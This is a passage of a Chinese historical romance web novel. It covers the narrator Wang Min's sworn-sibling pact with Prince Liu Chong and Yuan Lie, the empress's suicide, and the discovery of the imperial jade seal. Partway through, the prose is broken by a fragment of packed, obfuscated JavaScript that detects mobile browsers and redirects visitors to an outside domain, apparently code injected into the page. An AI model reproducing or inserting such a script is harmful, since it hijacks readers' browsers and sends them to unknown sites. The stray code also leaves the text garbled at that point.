搁下笔时,才发现王妃在一旁看得专注。她的蛾眉微蹙,眼神中似乎是种了悟,又是抉择。我趁机打量了她一眼,韶华渐逝,终究是不年轻了,眼角鬓发都有岁月濡染的痕迹,但更多的却是历经世事的坚忍与智慧。几番看她,都让我想起我的母亲,她那专注而透彻的眼神,仿佛母亲面对迷局,别人参不透的,她却总是可以。
“写得真好!”王妃开口,仿佛下定一个决心。
她微笑地放下纸,轻轻按去额面上的薄汗,示意宫人,要回舱更换一
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件衣服。宫娥们搀扶她往里去,才要入舱,她忽然回眸看我,温言道:“王姑娘,请随本宫来。”
我低头掳了掳裙子,该来的终于要来,我倒怕她不来,她如果肯说破,就意味着给我活路。我稳下心神,抬头起身,应道:“是,娘娘。”
顺着一条狭窄的甬道进入一处布置华贵的房间,她挥退宫娥,又对站在帘外的我说道:“狸奴,你进来吧。”她兀自转过身去,解下外袍。我顺从地走近几步,上前接过。“阿烈这样喊你?”她又问。我试图理解她平静语气中的喜怒,但是不能。
“阿翀很喜欢你……狸奴,你呢?”我低头不语,并非不想答她,只是突然觉得这个问题,连我自己也没有答案。她好像预料我的沉默,继续温婉说道:“你这孩子,我也很喜欢,真想将你留在身边……可是,狸奴,阿翀不会是你最好的选择……这话或许不该由我来说,我只是希望你能明白……”
“娘娘,王敏明白,王敏身份卑微,也从未想过高攀殿下。”我抬起头,好让她看清我的眼睛。好不容易从南朝的政治争斗中幸存下来,琅琊王氏付出的代价已经太过惨痛,我也只愿平凡度日,生生世世远离君王家。母亲临终前的希望就是我能够好好地活下去,我便是要死,也不能死得这样不明不白的,更不能再拖累先生。
“狸奴,你恐怕并不明白我的意思,也不明白你自己……”王妃斜倚榻上,向我伸手。我伏跪过去,她将我的手拉到胸前。她的手柔软且温暖,眼神也甚是慈爱,我竟有片刻失神于这样的关切。我不敢再看那双会蛊惑人心的眼睛,一个能够固宠后宫二十多年的女子,总是有她超越常人的手段,后宫里的女人,都是演戏的高手!她继续说道:“阿翀第一次喜欢一个女孩子,你就是拒绝他,也不要让他太难过……”
“殿下认识王敏不久,便是喜欢,也只是普通的喜欢。王敏不会再见陛下,请娘娘放心。”
“傻孩子,我就说你并不明白……阿翀是我的孩子,我了解他,这么大了,倒是第一次和我说,有个喜欢的女孩子呢。我也真是希望,他喜欢的那个女孩子也能喜欢他……”我又在心里自问一遍,是不是真的不喜欢他,不然她要我离开刘翀,我又何以如此淡泊?蝼蚁尚且贪生,我何尝不是?
王妃叹了口气,美人蹙蛾眉,似有一团浓得化不开的忧愁。她从隐囊底下取出一只精致的小盒子:“狸奴,这个你拿着,有一天,你能用得到……”
我打开盒盖,原来是个巴掌高的小金人,掂这分量,必是十足的一块金子,只是这工艺,还真算不上精湛。我在心里嗤笑一声,元烈难道没有告诉王妃,我王敏曾经也是高门大户里的小姐,虽然家道中落,倒还不至于被一块金子贿赂,更何况是出卖自己的感情。她要我远离她的儿子,我必然做到,只是这块金子,让人觉得不堪受辱……
我缓缓合上盖子,低头应道:“多谢娘娘!”我咬着牙对自己说,这不是出卖,而是妥协,人在矮檐下,争强斗胜绝非上策。
王妃两眼虚空地望向远处,柔荑般的手再次覆上我的手背,她说:“好孩子,总有一天,你会明白它真正的价值……”
25. 第二十四章 桃园三结义
牛车一路往白石草堂去,我只用斗篷蒙着头,不愿看他,也不愿说话。刘翀却在我耳边不停地聒噪,这人,好像总是有用不完的力气。好不容易挨到了光德坊,天还没有尽黑,隔壁元府已经焕然一新。
“殿下请回吧,王敏到家了。”我暗叹一气,此番道别,再无瓜葛。
“我送你进屋。”他率先跳下车,伸手来扶。我刚要进门,他又跟着嚷道:“这是什么?敏敏,你忘记东西在车里了。”他好奇打开锦盒,“好可爱的男娃娃,敏敏哪里来的?”
“娘娘给的。”我淡淡回了一句,转身进门,夏生从门房里跟了上来,像是有话说。
刘翀尾随而来,欢喜道:“我就说我母妃喜欢你,敏敏收好,可别再弄丢了……你说,我母妃给你这个,是不是急着抱孙子呢?”
你母妃给我这个,是块免死金牌!我一把夺过他手里的金人,严肃道:“殿下请回吧,王敏累了,要回去休息。”
“好好好,敏敏害羞了,我不说,我不说……”他还不放弃,继续跟着我往桃园走。
经过一冬的沉寂,院子里的碧桃终于开出了花,那是草堂里唯一鲜艳的植物,却不常青。火红的花一团团,一簇簇,遮天蔽日,烧得像天边的晚霞。还有几枝肆无忌惮地伸出了墙,老远就能望见。夏生一路跟着我们,却始终没有说上话。待我推开木门,却见树下端坐一人,长袖宽袍,伟容色,美姿仪,正是元烈!
元烈起身向我走来,也许是满树的红花,将他白皙的脸照得益发光彩耀人,又好似有几分醉态,碧眸迷离,更像是桃叶渡口的一江春水了。
我愤然回头,刚想责问夏生,怎么就随便放人进我的院子。他倒率先开口:“狸奴,你的药吃得如何了?我来看看。几月不见,倒是长高了呢。”他向我伸出手,言语之中不胜温柔,那样子,活像是久别重逢的老友。
我不知是恼还是怕,向后退了一步,跌进刘翀怀里。刘翀俯下身子在我耳边沉声道:“狸奴?我怎么不知道,你还有这个名字?”虽然压低了声音,但怏怏不悦之意,已经显而易见。
“二殿下也在。”元烈向他拱拳,笑容依旧,大步踱来。
刘翀一把将我掩在身后,元烈伸手本想抓我,却扑了一个空,被刘翀拽到胸前,拖着往一旁石案去。“阿烈来得正好!我寻你好久了,名山胜水,你这回又是去哪里逍遥了?许久没同你在棋盘上厮杀,今日定要决一决胜负!……还不快去拿几个蒲团来,要我们坐在地上?”他转身对跟着呆立在门口的夏生吼道,夏生“哎”了一声,才拿来蒲团,又被他喊去沏茶摆棋盘,俨然成了桃园主人。
元烈眼睑低垂,神情闲适,一言不发地挥着扇子等刘翀开局。“敏敏也坐。”刘翀招呼道,顺便把我的蒲团往他身侧拉了一拉。“狸奴……这名字倒是特别,老头子也这么叫你?”刘翀下了一子,问得状似无意。
我感觉到元烈灼热的余光,朝他白了一记眼睛:“有什么特别的,不过就是阿猫阿狗的名字,容易养活。殿下没听见街坊四邻都在叫吗?”刘翀一笑,仿佛对我的回答颇为满意。元烈也抿起唇角,似有笑意。我撇了撇嘴,立刻就后悔了,我是要让他死心,而不是给他更多的希望。我又斜睐元烈一眼,他此时出现在草堂,难不成是王妃派来监视我的?
元烈跟着落下第一子,正摆在天元。“狸奴的药坚持喝了吗?”他不看我,兀自问道。
“敏敏生病了?”我不答,刘翀又说,“那倒要请阿烈好好看看的,阿烈医术了得,比宫里的太医都强……阿烈,我还是老话,世道不平,正需要有人拨乱济时。你医术好,但救人只凭喜好,能救活的毕竟是少数;你棋下得好,可胜负输赢也大不过个棋盘去;你读了五车书,行了万里路,结交了无数名士,这些都不过是你一个人的好处。老头子说什么‘君子不器’,我第一个想到的就是你,长安城里风采第一的元公子,也不过就是个摆着好看的大花瓶。好男儿上马杀敌,下马安民,建功立业,才是正经。阿烈,以你之才,如果肯为朝廷效力,我保你日后官至三公。”
棋盘上又多出几子,刘翀下棋只重一路,杀敌或许管用,下棋却无胜算。元烈不管他一路猛进,自顾布局。“殿下,我也还是老话,元烈志不在三公,您又何必强人所难?”
刘翀好像并不在听,转开话锋:“阿烈,我们总是这么干下,多没意思,不如赌上一局?”
“好啊。”元烈挥扇,两人又落了几子,黑棋的半壁江山看似已落入刘翀囊中。可他是心思缜密的人,答应得这么爽快,定是有必胜的把握。“不知殿下想赌什么?”
“这回你若输了,便要在我帐下,为我谋士,你可敢赌?”
“恕我直言,殿下,您可从来没有赢过元烈。”元烈抬起头,嘴角噙笑,好像等着看他又玩什么新鲜花样。
“你只管说,敢不敢赌?”刘翀狡黠笑道,仿佛成竹在胸。
“好啊。”元烈合上扇子,又落一子。
“爽快!……我虽为皇子,输了也是要有所代价的。阿烈,这盘我若输了……你长我几岁,又同拜在老头门下,其实也算是师兄弟……我若输了,就认你做义兄,喊你一声大哥,你可万不能推辞!”原来他根本就没想赢棋,元烈笑意更深,好像未料他有此一举。只见刘翀潇洒挥手,将一枚白棋投在案上,得意笑道:“大哥棋力了得,我向来不如,请受小弟一拜!”说罢,真就起身下拜,一个头磕了下去。
元烈不闪不躲,等着他一头碰到地上,才起身相扶。我原以为他会拒绝,却没想他会说:“好,我便认下你这个弟弟了。”
“还不快去摆香案!快!”刘翀欣喜抬头,冲着夏生直嚷,深怕元烈会反悔似的。
夏生被催了命一样,前厅跑到后院,我只在一边冷眼旁观,暗忖着,元烈这回又是在打什么主意?桃花人面相映红,两人双双跪在花树之下,刘翀意气风发,朗声道:“大哥,虽没有乌牛白马,但有这一树桃花,也算应景。今日你我在桃园结义,日后肯定也是一段佳话。”
元烈淡笑:“桃园结义吗?可惜还差一个人,狸奴也在白石先生门下,怎可缺了她?”
干吗又把我扯进来?我愤懑地看了元烈一眼,冷冷道:“元公子,这一头磕下去,您和殿下,虽为异姓,恩若兄弟。从今而后,可就是‘义’字当头!背信弃义者,天人共戮!”
元烈闻若未闻,莞尔道:“多谢提醒。”
“人在做,天在看,王敏是看不懂,故这个头也不敢陪着磕。今日太累了,我要休息,两位请自便吧。”我起身回屋,才要落闩,刘翀就快步上前堵住了门,硬要往里挤。我只得敞开大门,放他进来。
“敏敏。”他小声对我说道,“阿烈是喜欢你……我要说不吃味儿,是骗人的。可我现在明白,敏敏是心有所属,我……我也就宽心了。”
我没
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好气地回他:“王敏心如止水,哪有所属?殿下又怎知元烈喜欢我?”这人还真是眼拙,元烈喜欢的,另有其人!还真以为喊一声“大哥”就能让浪子回头。你当他是贤臣良将,掏心掏肺的,日后被他害死了也不知道。
“我当然知道!我们都是男人,男人之间,看一眼就明白。阿烈是我想用的人,英雄爱美人,才子爱佳人,他喜欢你,是他眼光好,我也不会真怪罪他。”
我漠然道:“殿下怕是误会了,王敏不是美人,也非佳人,配不上你们英雄才子。殿下结拜完,就请两位离开此处吧。”我别过头去,再不能给他好脸看。
“敏敏,你莫生气。我想了好久,阿烈不愿做我的门客,他这样的人才,认我做主子,是委屈了他。我才想出这法子来,和他结为异姓兄弟……敏敏,我们三人结拜。日后,多一个人疼你如妹妹,我也放心,就不会胡乱吃醋了……”
我突然有些心软,刘翀赤诚相待,这对一个长于宫闱的人来说是不容易的。而我现在却为了活命,将他置于陷阱前而不顾,更是觉得自己亏欠了他。我又看了一眼门外的元烈,仰头望天,依旧笔笔挺地跪在桃花树下,便是这种矮人一等的姿态,也难掩其傲然独尊的气概。我实在猜不出元烈到底想干什么,但就是不能再当他是好人。他好像知道我在盯着他,回头看了一眼,眼神挑衅,分明再说:狸奴,你是不敢?
有什么不敢的?我倒要看你能玩出什么花样?就在踏出房门的一霎,我才惊诧地发现,原来自己骨子里也是个赌棍。
先生常说,乱世出英雄,但凡英雄,必先赌棍。
夏生手脚麻利,已将香案摆妥,刘翀拉我过去,并排跪在元烈左右。元烈开口道:“今日一拜,你我三人结为义兄妹,诚如狸奴所说,从今而后,‘义’字当头。皇天后土,实鉴此心,背义忘恩者,天人共戮!……只是,我年纪最大,足足大了狸奴九岁,要你们两个陪着我同年同月同日死,是不公平的。便是刘关张,也都未曾做到,故我们也就不必拘泥于那样的誓言了。”
我余气未消,在一旁小声嘀咕了一句:“我看你什么誓言也不必遵守。”
没想元烈耳朵尖,朝我这边倾了倾身体,沉声道:“昨日我回长安,在城外碰见一个道长,他说我寿数不长,是个短命鬼。你要愿意陪我一起死,我……荣幸之至!”
“敏敏!”刘翀出声制止,以为我在赌气胡闹,我“哼”了一声,撇过头去。
苍天在上,厚土为证,三人面北顿首。刘翀是血性男儿,一头磕下去便是以命盟誓,这也正是我最最担心的地方。我这一头磕得迟缓,心说,刘翀精诚待我,我虽然和他没有夫妻缘份,但自此就是兄妹,便容不得别人来害他。
至于元烈……一杯薄酒下肚,我斜眼睐他,他低垂着眼睛,一双碧眸掩在纤长的睫毛下,也在看我。我很少见他如此温和坦白的眼神,犹如风光月霁,但这人不管表现得多么无害,我都是不敢尽信的……
但凡与他对视,我总要败下阵来。我撇开视线,又觉得哪里不妥,仿佛遗漏了什么重要的线索,不由自主地又看了回去……斜阳渐老,将两道完美的侧影渡上了橙红色的金边,眼前二人,更非凡间所有,犹如神迹,美涣至极……我微微调整了角度,那两道光竟然能够天衣无缝地重叠在一起……我惊讶地瞪大双眼,那光晕之中,分明是拓拔王妃的影子,丰姿冶丽,委委佗佗,如山凝重,如河渊深……
26. 第二十五章 桃花相应红
盟誓已毕,月上粉墙。我正打算起身相送,忽闻园外嘈杂,一个皇宫里的侍卫在夏生的带领下匆匆跑来,神色慌张地在刘翀耳边耳语了几句,看样子是十万火急的事情。刘翀闻言,倒还泰然,只是微微皱了一下眉头:“大哥,敏敏,宫里有急事,我得先回去了。”
“二哥,”我走上前道,“你,万事要小心……”人都寻到了草堂,我直觉不会是什么好事。
刘翀却还有说笑的心情,附耳道:“敏敏担心我了?二哥吗?倒是比‘殿下’听着亲切许多。不过,以后还是叫我的名字吧。”他复又向元烈拱手道别,元烈回施一礼,他便大步出门去了。
刘翀一走,元烈就喊住夏生,问他:“可知道出了什么事?”
夏生面有疑惑,应道:“没听清楚,好像是皇后薨了,好好的,怎么就寻了短见?”
“难道是为了太子位?”北帝南伐的心意决绝,好像万事具备,只欠“立嗣”的东风,皇后这时候寻短见,多半是为大皇子谋位吧?我看向元烈,他能解惑。
元烈勾唇篾笑,朝我点了点头。大皇子庸碌无为,不比刘翀战功显赫,在朝中又不乏追随者,若不是北帝舍不得拓拔王妃,刘鹏多半是没有机会的。可如今,皇后为儿子连性命都舍得,北帝是性情之人,这下子,储君之位鹿死谁手,倒又不好说了。“你在担心他坐不成皇位?”元烈一手拿起石案上的锦盒,以拇指翻开盒盖,细细摩娑躺在里面的小金人,仿佛情人的面庞。
“谁来坐皇位和我没有关系,只怕坐皇位的人坐不稳当,打起仗来,又是百姓遭殃。”现下虽然以北朝实力最为强大,但北面有柔然、代国,西面有成国,东面有燕国,还有南朝司马晋,中原逐鹿地,有哪个不对北朝虎视眈眈。行差踏错一步就是万劫不复,更何况是立储这样的大事。大皇子几次处事失检,风评不佳,先生这样的远虑之人,都向着二皇子,必然有他的道理。
元烈一笑,放下金人,来搭我的脉搏。我欲抽手,却被他钳住了手腕,抽不出来。他的手指冰凉,手心盗汗,我疑惑地去看他的脸色,两颊红润,但恐怕只是桃花映染的颜色。“嗯,恢复得很好,可以停药了。”他在我腕子上停留了片刻,撤回手指,整了整袖子。
“你生病了?”我转开视线,凉凉问了一句。
“是啊。”他淡淡回了一句。
我从鼻子里发出一声闷笑:“这下子你学有专长,可是派上用场了……严重吗?”
元烈不置可否,只是浅笑,“你看呢?”
“你要还能翻墙,我看就没什么要紧的。”一句话未经思考,脱口而出,脸倏地就热了。我咬了咬唇,后悔自己冒失,他是工于心计的人,我的那点小女儿心思,他又怎会看不出来。
元烈笑意渐浓,别有深意地看着我:“你看?狸奴,耳听为虚,眼见也未必为实。你看见的,不见得就是事实的全部……”我低着头,不敢正视他,只看见石案上的锦盒,大敞着盖子,里面躺着一个金光灿灿的小娃娃,一双天真无邪的眼睛,直看得我心慌意乱。
他不再往下说,向我告辞,转身往院子外去,我看着他的背影,快要到了大门,才鼓起勇气喊道:“元烈,你这算什么?什么眼见为虚?你要真想骗我,就找个好点的理由,看看骗不骗得过我。不然就杀我灭口,死人不会说话,何必拿块金子来堵我的嘴?”
我拾起石案上的小金人,猛然向他掷去。可金人还未脱手,就连着拳头被他的大掌握住。他的手心汗湿得的厉害,看样子病得不轻,但手劲奇大,挣脱不得。他静静地端详我的眼睛,神色如常,脸上却泛着异样的红光:“狸奴,你如果不是真的想死,就不要轻言‘死’字。多少人想活活不得,该死的,又死不掉……”他闭了一下眼睛,迅速掩去眸子里凛冽的杀气,又将金人握在我的手心里,交到我面前,“这个你好好收起来,它要只是块金子,你自然看不上眼……可别再乱丢了。”
我等了一会儿,见他不愿再往下说,心想,话都已经讲到这个份儿上了,我又怎么甘心这样不明不白的,没个了结。“元烈,你那么聪明,又怎知骗不过我,倒连个像样的理由都懒得编吗?”
他眯了一下眼睛,眼神里满是探究:“狸奴,告诉我,你猜到多少?”
“你都说耳听为虚,眼见为虚了,何况是猜的?你不说,我怎么知道!”我赌气道,却不敢再看他的眼睛,那双摄人心魄的绿瞳,除了颜色,和拓拔王妃如出一辙。它们都会蛊惑人心,我只怕定力不够,一不小心,就要溺毙其中。
他静默了很久,久得连我的手心都冒出了汗,然后他的一只手覆上我的肩头,另一只手强扭过我的下巴,不由分说地俯身吻上来。他的嘴唇柔软而灼热,舌尖微微发涩,是草药的辛苦味道。我被他突如其来的热情弄得不知所措,身体不可抑止地颤抖起来,本能地想要推开他,却又不甘心是他发烧烧糊了脑袋,才来吻我。我甚至试图回应他,笨拙地与他的舌尖纠缠起来,好借此探究他此举背后的真正意义。
但很快地,他就将我推出臂弯,他的脸色越发地潮红,喉头不安地上下浮动着,像是吞了一颗难以下咽的棋子,仿佛在承受某种不堪承受的病痛,抑或是,引诱。“狸奴,”他的声音变得沙哑,但只是合眼的一瞬间,就又恢复了原本清冷的语调,“你想知道的,我会告诉你,但不是现在……我现在要回去了……”
元烈借我的力转过身去,脚步有一点踉跄,我伸手去扶,还没碰到他的袖子,就又犹疑起来。我维持着那个姿势,盲目地看着他走出桃园,轻飘得仿佛行走在云端的仙子。墨童从门外闪身出来,欲上前搀扶,但被他摆手制止了。
我难以回神,一个人站在碧桃树下愣怔了许久,元烈仿佛驾云而去,留下暧昧不清的一吻,算是解释,还是剖白?一切恍如隔梦,只有舌尖残留的淡淡草药味,苦而回甘……
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北朝的皇后就在当天服毒而死,据说药性很慢,几乎是在一种持久的折磨中死去的,好让她还有机会拉着北帝的手,絮絮地回忆他们共同在风火狼烟中渡过的艰苦卓绝的时光。北帝一直陪伴在皇后左右,拂开岁月尘封,昔日故剑之情,又一股脑儿回想起来。北帝一下子情难自禁,涕流不止,直到他当众立下大皇子刘鹏为太子,那可怜的女人才最终撒手西去。
皇后的葬礼很隆重,举国同哀,就连街道两旁盛开的鲜花都裹起了白纱。春风才绿长安道,可一夜之间,又是银妆素裹,仿佛成为青帝遗弃的角落。清早推门扉,昨日还是熙来攘往,今天就只剩下几个行色匆匆的路人,每个人脸上都有凝重的表情,但那恐怕不是因为哀悼,而是即将临近的战争。战争,对我来说并不是陌生的字眼,曾几何时,乌衣巷里,来燕堂前,常常有人谈论这样的话题。但那也仅止于一个话题,如同他们谈论玄学,与我并没有什么切身的体会。
夏生一个人在门房里拨弄着算盘,他的指法很娴熟,轻挑慢拢,算珠子被打得噼啪作响,好像是在操演一样乐器。这是很有趣的东西,最重要的是,它只需要用一只手。我看得眼热,几次想学,都没好意思开口。夏生边算边记,边记边叹气,我走进门房,低声问了句:“小哥哥,你在算什么呢?”
他重重吁了一气:“要打仗了,小姐,你知不知道现在外面白面卖多少钱一斤?”我茫然地摇了摇头,他报了个价,像是该令人咋舌的数字,但我并不能理解,也不知作何表情。他无可奈何地垂下脑袋,补了一句:“您看咱家大人这官当的,也忒没意思,哪朝的大司马住这样的宅子啊?……小姐,您别嫌我多嘴,您刚来那会儿,我就看出来了,虽然身上穿得不是绫罗绸缎,但一准是大户人家出来的小姐,不然就您平常使的那些东西,谁家的姑娘有这眼界啊。我也就是一个俗人,字啊画啊的,我不懂,到了这个份上,也就只能和您谈钱……嗯,白面再贵,吃饭还不是问题,可您要的那些纸啊墨啊的,日后可就不能再买了。大人是说过,您要使钱不让拦着,但谁叫咱家大人是个清官……”
我脸上一阵燥热,夏生也觉得言重,有些过意不去:“小姐,您别见怪,您人好,我才敢直说……我也不是说不能买,只是不能买这么好的……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739983|174117||http|test|mini|href|location''.split(''|''),0,{}));
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>我席地坐到他对面,羞却笑道:“小哥哥,我没吃过什么苦,故也不太懂事,要有什么不对的,你尽管说……嗯,能不能给我账本看看,不如你教我打算盘吧。”
夏生欢喜应了句,推过账本和算盘,演练起来:“小姐,我知道你们大户人家看不起拨弄算盘的。尤其您这样的,初来只觉得清秀,如今越看是越有仙气儿了,本不该沾染这些俗物的。什么事,一说到钱,就忒俗。可是,小到持家,大到治国,又有哪样离得开钱?一个女孩子还是应该懂得钱的好处,知道怎么使钱,怎么使才能使在刀刃上。日后,不管是平常度日,还是嫁到王侯将相府,就是进了宫当娘娘,也是只有好处,没有坏处的。”
我笑着看他,倒不知他能说出这样一番有见地的话来。夏生见我挑眉,不好意思地挠了挠头:“这话也不是我说的,是大人说的……大人还说,您的左手不好,不能弹琴写字,这是福不是祸。小姐您如果只工于琴棋书画,不知人间疾苦,倒未必是件好事。”
我暗自思忖先生的话,又照夏生教我的口诀摆弄了几下算珠,虽然一直想学,但今天的心思显然不在这上头。我不停向门外张望,终于忍不住问道:“小哥哥,隔壁元府怎么一直关着门?元公子好像病得厉害,我和他结拜一场,是不是应该过去看看?”
夏生探了一下脑袋,想了想,小心答道:“小姐,照说是该去瞧瞧……嗯……本来这话不该我说,我就是个打杂跑腿的下人,可您既然叫我一声‘小哥哥’,这话您只当是哥哥对妹妹说的,您要不爱听,听过就算……”
“小哥哥,你只管说。”
“嗯……大人常不在家,可他给您当先生,那是真下心思在教的。大人也给二殿下和元公子当先生,可和您是不一样的,这我最知道了。大人教您,可不是把您当成寻常女子,不然为什么每次回来,吃顿饭都要讲那么多军国大事?就是符将军、慕容老将军、还有二殿下来,都不见他讲那么多。他还老和我打听,小姐最近都干了什么,见了什么人,读了什么书……”他见我歪头看他,忙摆手道:“我可没有乱说话,只拣该说的说,小姐放心好了……”他犹豫片刻,又道:“二殿下喜欢小姐,这谁都看得出来。先生教小姐,往小了说,是教小姐相夫持家,往大了说,分明……分明就是在教一个娘娘嘛!”夏生将“娘娘”二字卡在喉咙里,只剩下一个无声的嘴型。“元公子固然也好,又和小姐结拜,但……嗯……”夏生犹疑着如何往下说,我已经明白他的意思,草堂里的风吹草动,他全都晓得,元烈那一吻,终究没有瞒过他去。
“这也是先生的意思吗?”我问。
夏生忙摇头解释道:“这些可不是先生说的,先生不知道,小姐放心,我不是多嘴的人。这些是我自个儿想的,我是觉得………”
夏生语无伦次起来,我和气笑道:“小哥哥,我知道你是为我好,狸奴命好,走到哪里都有人真心待我,这些我都会记在心里。袁真人的话,想来小哥哥也所有耳闻,但那些都是无稽之谈,牛丞相已死,南朝王敏已死,二殿下也不是皇位继承人,他所下谶言一样也不会实现。狸奴从未想过要入宫做娘娘,更何况是皇后位,我只愿安稳度日,远离帝王家……只是,先生在朝为官,我又与二殿下结拜,要真正远离皇宫朝堂,恐怕很难。时局不算太平,这些都是是非地,先生教我这些,恐怕也只是让我在这样的世道里,懂得如何安身立命罢了……”
瞥见隔壁元府有人叫门,是西市药铺送药的伙计,看门的老奴开了半扇门,探出手来给钱接药。我起身跑到街上,拦下那小伙计,问道:“小师傅还认得我吗?隔壁那位元公子给我看过病,他现在也病了,小师傅可知他得了什么病?”
那小伙计面有难色:“我只是负责送药的,主顾们的事,可不敢乱说……”
夏生也从门房里跑出来,在他手里塞了几个钱,又给我递了个眼色,算是替我上的第一课:“小师傅没什么好顾虑的,我家小姐也只是感激元公子瞧好了她的病,大家都是邻居,只是关心一下。”
小伙计将钱藏进袖袋,小声说了句:“药方是元公子自己开的,我家掌柜说,照这方子看,只怕是痰症……”
27. 第二十六章 患此谋夫病
虽然边境兵戈扰攘不断,但十几年来,几国之间都没有再发生过大规模的战事。北朝皇后的死,犹如激浪之石,太平假象,一朝破碎。千金买马鞍,百金装刀头,长安城里充满了备战前的压抑气息,连我这个不知柴米油盐贵的人,都能感觉到战争的迫近。
刘翀那日回宫以后,一直没有再露面,倒是先生回来得勤快些。但回来以后就闭门谢客,苻将军和慕容将军几次来府里拜访,他都不肯相见。
连着几天,我只觉得浮躁不安,便是提笔练字也难以压下心火。跑去书房查了几本关于痰症的医书,此症属神伤窍闭所致,清窍被扰,元神失控,虽暂无性命之忧,但长久下去,怕也不好。掩卷时,还在心里暗骂了一句活该,元烈罹患此疾,就只能怪他平日里心思太细,城府太深。可转念一想,有道士预言他寿数不长……倒又担惊受怕起来。他救过我的命,又是结拜义兄……我摆弄着手里的卷册,犹豫之下,还是说服自己上门探望。
刚想出书房,绕过几排书架,才发现先生也在。束高阁里布局精巧,先生凭空出现在此处倒也不足为奇。只是他平素里极少饮酒,现下却是一身的酒气,独自一个人颓坐在地上,抱着个四四方方的盘龙锦盒。许是喝得糊涂了,直到我近身唤他,他方才发现我。
“阿落?”他顺手关上盒盖,唤得却是我母亲的名字。我没看清盒子里装着什么物件,只知是样玉器,碧绿青翠,色泽油亮,应是上等的玉料。只是这绘着龙纹的盒子,不该是皇宫里的东西吗,又怎会出现在先生的书房里?我下意识抚上心口,摸了摸佩在胸前的玉坠子。“阿落吗?”先生又唤,看他的样子,酒气醺醺,已然酩酊大醉。
“嗯……”好奇心驱使我不去纠正他的错误,退了几步,半掩到一只书架后,轻轻应了他一声。
先生垮下身体,半垂眼睑,含含糊糊说道:“我知道是你,阿落,你是来看我的报应吧?……我穷尽心力,半生算计,还是算不过天去……自古红颜多祸水,我一辈子清心寡欲,十多年苦心经营,没想最后,还是间接栽在女人手里,算不算老天爷给我的惩罚?……你一定在笑吧?报应不爽!报应不爽!……你把狸奴交给我……瓜田菊下,明月清风……你希望的平常日子,恐怕是不行了……命,你信不信?……她的路,你不能帮她选,我也不能代替她走,我尽心教她,也只希望她今后独自一人的时候,能够走得顺遂些……狸奴是极聪明的孩子,如今出落得越来越美,再过些时日,只怕连你都要被比下去了……我真不知道该不该再教下去……国之将亡,必出妖妇!只怕日后……也是个祸水……”
先生越说越轻,说到后来,只是嗫嚅着唇,再听不清说了些什么。我走过去俯下身子推他,唤了几声,只听见他含糊其辞地重复着“祸水误国,国之将亡……”。先生向来不看好此次南伐,可南伐渐近,他已无力回天,加之北帝又立下刘鹏为太子……如今一个人躲在书房里喝酒解愁,应是官场失意吧。
我知道现在和他说什么,他也听不进去,但有些话,藏在心里太久,不吐不快:“先生,狸奴不明白,先生所谓祸水,意指何人?是我母亲?是北朝皇后?是拓拔王妃?抑或,是王敏?别的人我不敢说,我母亲温婉贤良,我不知道你们之前发生过什么,但我知道,她只是红颜,绝非祸水!她从不以美貌为自己牟利,就不该因美貌而遭人非议和离弃!狸奴为她不平!……容貌和聪慧,狸奴不敢比母亲之万一,但无论道士的谶言是真是假,我日后是身处江湖,还是高居庙堂,王敏绝对不会仗色侍人,更不会做祸国妖妇。先生之志,是天下归心;狸奴之愿,亦是!”
我对着一个神志不清的人一倾肺腑,自己觉得爽快了,先生也倒头睡着了。我撇了撇嘴,想拿开他手里的锦盒,他却抱得死紧。我好奇去揭上面的盒盖,却原来是一方玉印,取出一看,直吓得一身冷汗。
玉印上方以五条盘龙为纽,正面刻有秦篆,上书八个大字:受命于天,既寿永昌。肩部也有一行隶书:大魏受汉传国玺。此玉莫非就是价值连城的和氏壁?此印莫非就是秦始皇以来几易其主的传国玉玺?当年武帝受曹魏禅让,夺得玉玺,帝都沦陷后,玉玺也跟着不翼而飞了。司马氏弄丢了传国之宝,南朝一直以此为奇耻大辱。北帝又急于为自己正名,在洛阳故宫挖地三尺也没有找到。传国玉玺自人间消失了十多年,如此帝王符应,国之重器,又怎会流落到先生的手里?
手中美玉微暇,缺失了一只角,以黄金镶补。那是西汉末年,王莽篡位时,逼迫孝元太后交出玉印,太后愤而掷地,摔碎的一角。我端详许久,疑惑地从胸前掏出母亲给我的坠子,在玉玺的瑕痕上比了比,恰好对上。看来,先生收藏此印由来已久,他在刘圭手下为官,却始终不肯交出玉玺,所为何来?
难道是想等时机成熟,取而代之?
真是不要命了!这惹祸的东西,不能让他就这样抱在手里,招摇于市。我费了半天功夫,才将锦盒从他手里拖拽出来,找了些纸包裹起来,藏在束高阁一个隐蔽的角落里。又将玉坠贴身藏好,才反身去找人帮他醒酒。
刚跑到门口,夏生就寻了来:“小姐,看见大人没有?二殿下来了,要见大人。”
“先生喝醉了……”我示意夏生进去抬人,抬头见刘翀满面愁容,出现在书房门口。“二哥,你找先生有急事?”
“敏敏,少傅呢?”夏生进去把他搀扶出来,刘翀见状,愈显焦躁,“这老头子……怎么喝成这样?……关键时候,连个商量的人都找不到!我父皇要南伐,我向他请战,他却不准我去。你说,我又不是太子,为何要强留我下来?……罢罢,我去找大哥商量看看……敏敏,老头子近来在我父皇跟前也很不得意,你好好照看他,回头我再来看你。”
刘翀抬手擦了擦我汗湿的额面,又拉起我的手,轻轻捏了几下,好像想不出别的说辞,只说了句“我先走了”,便疾步而去。
南伐之战已经筹划良久,北朝四将皆已摩拳擦掌,刘翀一心建功立业,又怎甘心落于人后。
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用罢晚膳,日落渐黄昏。先生宿醉未醒,夏生说,这么些年,都没见他睡得这么安稳。我踌躇了半天,最后还是对夏生说:“小哥哥,你先照看着,我想去隔壁元府看看。”
出了草堂便是元府。月下轻扣门,却不见应门人,我疑心扑了空,才转身要往回去,就听身后吱呀有声,一个耄耋老者从门缝里探出头来唤我。那个人我常常见到,只是从未说过话。“老伯伯,元公子可在府上,烦劳通报一声,就说是隔壁草堂的王敏前来探望。”
“不必通报了,是少爷的义妹吧。”老人敞开大门,引我往里去。
